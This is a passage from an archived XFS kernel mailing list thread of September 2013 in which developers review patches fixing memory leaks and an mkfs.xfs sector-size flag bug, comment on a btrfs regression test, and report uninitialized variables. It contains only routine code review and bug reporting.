(rval != EEXIST) { > - xfs_da_state_free(state); > - return rval; > - } > + if (rval != EEXIST) > + goto done; > + > blk = &state->path.blk[state->path.active - 1]; > ASSERT(blk->magic == XFS_DIR2_LEAFN_MAGIC); > ASSERT(state->extravalid); > @@ -2145,7 +2144,7 @@ xfs_dir2_node_removename( > error = xfs_dir2_leafn_remove(args, blk->bp, blk->index, > &state->extrablk, &rval); > if (error) > - return error; > + goto done; > /* > * Fix the hash values up the btree. > */ > @@ -2160,6 +2159,7 @@ xfs_dir2_node_removename( > */ > if (!error) > error = xfs_dir2_node_to_leaf(state); > +done: > xfs_da_state_free(state); > return error; > } > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Fri Sep 27 11:55:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F17C27F52 for ; Fri, 27 Sep 2013 11:55:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DA62330406B for ; Fri, 27 Sep 2013 09:55:18 -0700 (PDT) X-ASG-Debug-ID: 1380300915-04cbb02c3e14c7e00001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id ywSen5nhKBBECGMt for ; Fri, 27 Sep 2013 09:55:15 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B9A7F6825C7E; Fri, 27 Sep 2013 11:55:14 -0500 (CDT) Message-ID: <5245B86F.3030309@sandeen.net> Date: Fri, 27 Sep 2013 11:55:11 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: tinguely@sgi.com CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xlog_recover_add_to_trans References: <20130927140104.515578025@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix memory leak in xlog_recover_add_to_trans In-Reply-To: <20130927140104.515578025@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380300915 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140979 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On 9/27/13 9:00 AM, tinguely@sgi.com wrote: > Free the memory in error path of xlog_recover_add_to_trans(). > Normally this memory is freed in recovery pass2, but is leaked > in the error path. > > Signed-off-by: Mark Tinguely For this local leak & the fix, Reviewed-by: Eric Sandeen Since this gets called in a loop from xlog_recover_process_data(), I'm wondering what happens to previously-allocated items, if we return an error and never get to pass2? (I could be off base, haven't really followed it through, but it seems like they might leak). Thanks, -Eric > --- > Found by Coverity (134683) in userspace, same patch applies there > also. > fs/xfs/xfs_log_recover.c | 1 + > 1 file changed, 1 insertion(+) > > Index: b/fs/xfs/xfs_log_recover.c > =================================================================== > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -1585,6 +1585,7 @@ xlog_recover_add_to_trans( > "bad number of regions (%d) in inode log format", > in_f->ilf_size); > ASSERT(0); > + free(ptr); > return XFS_ERROR(EIO); > } > > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Fri Sep 27 12:29:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DE7987F52 for ; Fri, 27 Sep 2013 12:29:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A8CA78F8035 for ; Fri, 27 Sep 2013 10:29:33 -0700 (PDT) X-ASG-Debug-ID: 1380302971-04bdf02f23152c790001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id FYuLaNBR1FqlPdnw for ; Fri, 27 Sep 2013 10:29:31 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 717946823A22; Fri, 27 Sep 2013 12:29:31 -0500 (CDT) Message-ID: <5245C07A.3000700@sandeen.net> Date: Fri, 27 Sep 2013 12:29:30 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Li Zhong CC: xfsprogs Subject: Re: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option References: <1380272973.2836.5.camel@ThinkPad-T5421> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option In-Reply-To: <1380272973.2836.5.camel@ThinkPad-T5421> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380302971 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140979 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/27/13 4:09 AM, Li Zhong wrote: > It seems using -s log is not able to set the sectsz correctly. Because slflag > is set but ignored by later codes, so the advertised sector size of the device > is used instead. (below is just musing about this in general, skip down to the patch for one flaw, I think). One wonders why it was originally written to accept both, in the first place :( And looking at git history, checking only ssflag later was my mistake. :( by the time we're done with getopt, we've got both sectorsize and sectorlog set anyway, and we know if it was specified on the commandline. Maybe we should just set them both right after getopt, like: /* * Later code wants to know if the user manually set a value. * There are two ways to specify on the cmdline; as size or as a log. * if either was used, set both flags - from here on it simply means * "manually set" */ if (ssflag || slflag) ssflag = slflag = 1; Anyway, other than one problem below, I think this is ok to solve this particular problem. The others, at least nsflag/nlflag, isflag/ilflag, and bsflag/blflag all look ok. I just wonder if we need to re-think how this is handled in general, so for all of the various (size=|log=) type options, we don't have to keep remembering to check both flags. (mkfs.xfs is so crufty :( ) > $ mkfs.xfs -f -s size=4096 /dev/sdd > meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks > = sectsz=4096 attr=2, projid32bit=1 > ...... > > $ mkfs.xfs -f -s log=12 /dev/sdd > meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks > = sectsz=2048 attr=2, projid32bit=1 > ...... > > Signed-off-by: Li Zhong > --- > mkfs/xfs_mkfs.c | 6 +++--- > 1 file changed, 3 insertions(+), 3 deletions(-) > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > index eafbed3..9243044 100644 > --- a/mkfs/xfs_mkfs.c > +++ b/mkfs/xfs_mkfs.c > @@ -1693,7 +1693,7 @@ main( > * ft.sectoralign will never be set. > */ > sectorsize = blocksize; > - } else if (!ssflag) { > + } else if (!ssflag && !slflag) { > /* > * Unless specified manually on the command line use the > * advertised sector size of the device. We use the physical > @@ -1721,7 +1721,7 @@ _("switching to logical sector size %d\n"), > } > } > > - if (ft.sectoralign || !ssflag) { > + if (ft.sectoralign || !ssflag || !slflag) { Shouldn't this be: if (ft.sectoralign || (!ssflag && !slflag)) { ? Because today only one or the other can be set; !ssflag || !slflag will always be true I think. Thanks, -Eric > sectorlog = libxfs_highbit32(sectorsize); > if (loginternal) { > lsectorsize = sectorsize; > @@ -1731,7 +1731,7 @@ _("switching to logical sector size %d\n"), > > if (sectorsize < XFS_MIN_SECTORSIZE || > sectorsize > XFS_MAX_SECTORSIZE || sectorsize > blocksize) { > - if (ssflag) > + if (ssflag || slflag) > fprintf(stderr, _("illegal sector size %d\n"), sectorsize); > else > fprintf(stderr, > From tinguely@sgi.com Fri Sep 27 12:34:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 14D507F52 for ; Fri, 27 Sep 2013 12:34:14 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id E2DAE8F8035; Fri, 27 Sep 2013 10:34:13 -0700 (PDT) Message-ID: <5245C195.1080704@sgi.com> Date: Fri, 27 Sep 2013 12:34:13 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xlog_recover_add_to_trans References: <20130927140104.515578025@sgi.com> <5245B86F.3030309@sandeen.net> In-Reply-To: <5245B86F.3030309@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/27/13 11:55, Eric Sandeen wrote: > On 9/27/13 9:00 AM, tinguely@sgi.com wrote: >> Free the memory in error path of xlog_recover_add_to_trans(). >> Normally this memory is freed in recovery pass2, but is leaked >> in the error path. >> >> Signed-off-by: Mark Tinguely > > For this local leak & the fix, > > Reviewed-by: Eric Sandeen > > Since this gets called in a loop from xlog_recover_process_data(), > I'm wondering what happens to previously-allocated items, if we > return an error and never get to pass2? > > (I could be off base, haven't really followed it through, but > it seems like they might leak). > > Thanks, > -Eric yeah you are correct, it looks like it gets leaked. I will add it to the list. Thanks. --Mark. From sandeen@sandeen.net Fri Sep 27 12:35:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EBB367F52 for ; Fri, 27 Sep 2013 12:35:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C31418F804B for ; Fri, 27 Sep 2013 10:35:38 -0700 (PDT) X-ASG-Debug-ID: 1380303337-04bdf02f23152ce60001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GNPUkF7EV3MK8vld for ; Fri, 27 Sep 2013 10:35:37 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 3BA786823A22; Fri, 27 Sep 2013 12:35:37 -0500 (CDT) Message-ID: <5245C1E8.2030107@sandeen.net> Date: Fri, 27 Sep 2013 12:35:36 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xlog_recover_add_to_trans References: <20130927140104.515578025@sgi.com> <5245B86F.3030309@sandeen.net> <5245C195.1080704@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix memory leak in xlog_recover_add_to_trans In-Reply-To: <5245C195.1080704@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380303337 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140979 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/27/13 12:34 PM, Mark Tinguely wrote: > On 09/27/13 11:55, Eric Sandeen wrote: >> On 9/27/13 9:00 AM, tinguely@sgi.com wrote: >>> Free the memory in error path of xlog_recover_add_to_trans(). >>> Normally this memory is freed in recovery pass2, but is leaked >>> in the error path. >>> >>> Signed-off-by: Mark Tinguely >> >> For this local leak & the fix, >> >> Reviewed-by: Eric Sandeen >> >> Since this gets called in a loop from xlog_recover_process_data(), >> I'm wondering what happens to previously-allocated items, if we >> return an error and never get to pass2? >> >> (I could be off base, haven't really followed it through, but >> it seems like they might leak). >> >> Thanks, >> -Eric > > yeah you are correct, it looks like it gets leaked. > I will add it to the list. Thanks. I suppose maybe if it's cleaned up at a higher level, it doesn't need to be done here, but (*shrug*) I'll let you work that out. :) -Eric > Thanks. > > --Mark. > From tinguely@sgi.com Fri Sep 27 12:48:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0819E7F52 for ; Fri, 27 Sep 2013 12:48:46 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id CFF2A30407A; Fri, 27 Sep 2013 10:48:42 -0700 (PDT) Message-ID: <5245C4FA.7010208@sgi.com> Date: Fri, 27 Sep 2013 12:48:42 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename References: <20130927130140.640252809@sgi.com> <5245B5E5.7000206@sandeen.net> In-Reply-To: <5245B5E5.7000206@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/27/13 11:44, Eric Sandeen wrote: > On 9/27/13 8:01 AM, Mark Tinguely wrote: >> Free the memory pointed to by state before returning on error from >> xfs_dir2_node_removename.c >> >> Signed-off-by: Mark Tinguely >> --- >> Found by Coverity (134681) in userspace, same patch applies there >> also. > > Heh, looks like that one has been around since the dawn of time, thanks. > > Reviewed-by: Eric Sandeen > > how do we handle the matching userspace fixes, separate patch to > be explicit? Wait for the next syncup? > > Thanks, > -Eric Good question. The user space should be kept up to date with the kernel. Since the patches will be identical except the directory name, I was hoping to submit one copy. But I am not trying to invent a policy, just being lazy. --Mark. From zab@redhat.com Fri Sep 27 12:56:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DD9E07F52 for ; Fri, 27 Sep 2013 12:56:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C548930407A for ; Fri, 27 Sep 2013 10:56:03 -0700 (PDT) X-ASG-Debug-ID: 1380304562-04cbb02c3c14cbe30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id IxtTPekFiQSxjZ32 for ; Fri, 27 Sep 2013 10:56:03 -0700 (PDT) X-Barracuda-Envelope-From: zab@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8RHu0Wq027879 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 27 Sep 2013 13:56:00 -0400 Received: from localhost (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r8RHtxP7008700 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 27 Sep 2013 13:56:00 -0400 Date: Fri, 27 Sep 2013 10:55:59 -0700 From: Zach Brown To: Josef Bacik Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: btrfs/015 regression test for prealloc with balance Message-ID: <20130927175559.GV30372@lenny.home.zabbo.net> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/015 regression test for prealloc with balance References: <1380292053-8123-1-git-send-email-jbacik@fusionio.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380292053-8123-1-git-send-email-jbacik@fusionio.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380304562 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 > +nr_csum_no_found=$(dmesg | grep -c "no csum found") > +nr_csum_failed=$(dmesg | grep -c "csum failed") > + > +_check_csum_error() > +{ > + new_csum_no_found=$(dmesg | grep -c "no csum found") > + new_csum_failed=$(dmesg | grep -c "csum failed") > + > + if [ $nr_csum_no_found -eq $new_csum_no_found -a \ > + $nr_csum_failed -eq $new_csum_failed ]; then > + return 0 > + fi > + return 1 > +} > +# This sucks but unfortunately it is the only way to be sure something didn't go > +# wrong. > +_check_csum_error || _fail "csum detected, please check dmesg" In the future you could make them trace events and catch them for a given invocation of a command with perf. - z From sandeen@sandeen.net Fri Sep 27 12:56:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DDE7E7F56 for ; Fri, 27 Sep 2013 12:56:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B9F4730407A for ; Fri, 27 Sep 2013 10:56:04 -0700 (PDT) X-ASG-Debug-ID: 1380304560-04cb6c35011563b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id gnzkz5PCO9mA2hd0 for ; Fri, 27 Sep 2013 10:56:00 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 470CE6823A22; Fri, 27 Sep 2013 12:56:00 -0500 (CDT) Message-ID: <5245C6AF.6080502@sandeen.net> Date: Fri, 27 Sep 2013 12:55:59 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename References: <20130927130140.640252809@sgi.com> <5245B5E5.7000206@sandeen.net> <5245C4FA.7010208@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename In-Reply-To: <5245C4FA.7010208@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380304560 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140980 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/27/13 12:48 PM, Mark Tinguely wrote: > On 09/27/13 11:44, Eric Sandeen wrote: >> On 9/27/13 8:01 AM, Mark Tinguely wrote: >>> Free the memory pointed to by state before returning on error from >>> xfs_dir2_node_removename.c >>> >>> Signed-off-by: Mark Tinguely >>> --- >>> Found by Coverity (134681) in userspace, same patch applies there >>> also. >> >> Heh, looks like that one has been around since the dawn of time, thanks. >> >> Reviewed-by: Eric Sandeen >> >> how do we handle the matching userspace fixes, separate patch to >> be explicit? Wait for the next syncup? >> >> Thanks, >> -Eric > > > > Good question. > > The user space should be kept up to date with the kernel. > > Since the patches will be identical except the directory name, I was hoping to submit one copy. But I am not trying to invent a policy, just being lazy. > > --Mark. > Was just an offhanded question; it'd just be good to know what we all expect. I suppose that it could depend on the severity of the flaw; a minor leak before exit() isn't a big deal and could wait for a global sync-up; a data corruption fix might need to be quickly merged to both trees. -Eric From geyslan@gmail.com Fri Sep 27 12:59:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2AB0E7F52 for ; Fri, 27 Sep 2013 12:59:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0F3B630407A for ; Fri, 27 Sep 2013 10:59:14 -0700 (PDT) X-ASG-Debug-ID: 1380304752-04cbb02c3e14cc100001-NocioJ Received: from mail-qe0-f44.google.com (mail-qe0-f44.google.com [209.85.128.44]) by cuda.sgi.com with ESMTP id NjBVGzatMJ1pzqhJ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 27 Sep 2013 10:59:12 -0700 (PDT) X-Barracuda-Envelope-From: geyslan@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.44 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.44] Received: by mail-qe0-f44.google.com with SMTP id 3so2090538qeb.3 for ; Fri, 27 Sep 2013 10:59:12 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.44] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=DhSAIKFJn+bTiL5TLi059vEiGRLTjsgfb77qopi6Cso=; b=nynuDMwqQeWCKRMLZ6HLZLgptKGVA+pwuIymD4VFhdl3c3p9IxN6ZAUFC/CPf57lyb xMBgETqUnFbfS/QATm+t2nZb4E3I9lr/dQ+qkt2UzPHgDVCQlYvaZhsZILbsyCQrtNRr QK14+IOkHzCB+peJpYlBBwptYm2UP8z/Us95Foh6VPUpR35kCAILRGti6GKJZxPZOcc4 koQK4RPWRmi0zcjzZ5GVQsvjE2dg+djOomi9BlhyU87NpiLopvnw57ebit3EzYicm/HX 4IMKlb3st0HS64GxFFexjxPgnNq2DW/BUMIsBgqSoBQbUYBpl7P9dlvDMxZrYHX+WPzK hvvQ== MIME-Version: 1.0 X-Received: by 10.229.79.70 with SMTP id o6mr10717652qck.21.1380304752395; Fri, 27 Sep 2013 10:59:12 -0700 (PDT) Received: by 10.49.98.36 with HTTP; Fri, 27 Sep 2013 10:59:12 -0700 (PDT) Received: by 10.49.98.36 with HTTP; Fri, 27 Sep 2013 10:59:12 -0700 (PDT) In-Reply-To: References: Date: Fri, 27 Sep 2013 14:59:12 -0300 Message-ID: Subject: [XFS MAINTAINERS] fs/xfs/xfs_dir2_node.c: xfs: xfs_dir2_leafn_add: Variables Uninitialized From: =?UTF-8?Q?Geyslan_Greg=C3=B3rio_Bem?= X-ASG-Orig-Subj: [XFS MAINTAINERS] fs/xfs/xfs_dir2_node.c: xfs: xfs_dir2_leafn_add: Variables Uninitialized To: Ben Myers , Alex Elder , xfs@oss.sgi.com, linux-kernel@vger.kernel.org Content-Type: multipart/alternative; boundary=001a1133beb672e94a04e7613ee4 X-Barracuda-Connect: mail-qe0-f44.google.com[209.85.128.44] X-Barracuda-Start-Time: 1380304752 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140980 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a1133beb672e94a04e7613ee4 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Hi Maintainers, I suppose the variables "highstale" and "lowstale" are being used despite not having been initialized. File: fs/xfs/xfs_dir2_node.c Function: xfs_dir2_leafn_add L491: > /* > * Insert the new entry, log everything. > */ > lep =3D xfs_dir3_leaf_find_entry(&leafhdr, ents, index, compact, lowstale= , > highstale, &lfloglow, &lfloghigh); The only place they are started up is within this condition: L480: > if (compact) > xfs_dir3_leaf_compact_x1(&leafhdr, ents, &index, &lowstale, > &highstale, &lfloglow, &lfloghigh); So, if it is not compact, both have garbage. Best Regards. Geyslan Greg=C3=B3rio Bem --001a1133beb672e94a04e7613ee4 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

    Hi Maintainers,

    I suppose the variables "highstale" and "lows= tale" are being used despite not having been initialized.

    File: fs/xfs/xfs_dir2_node.c
    Function: xfs_dir2_leafn_add

    L491:
    > /*
    > * Insert the new entry, log everything.
    > */
    > lep =3D xfs_dir3_leaf_find_entry(&leafhdr, ents, index, compact, l= owstale,
    > highstale, &lfloglow, &lfloghigh);

    The only place they are started up is within this condition:=

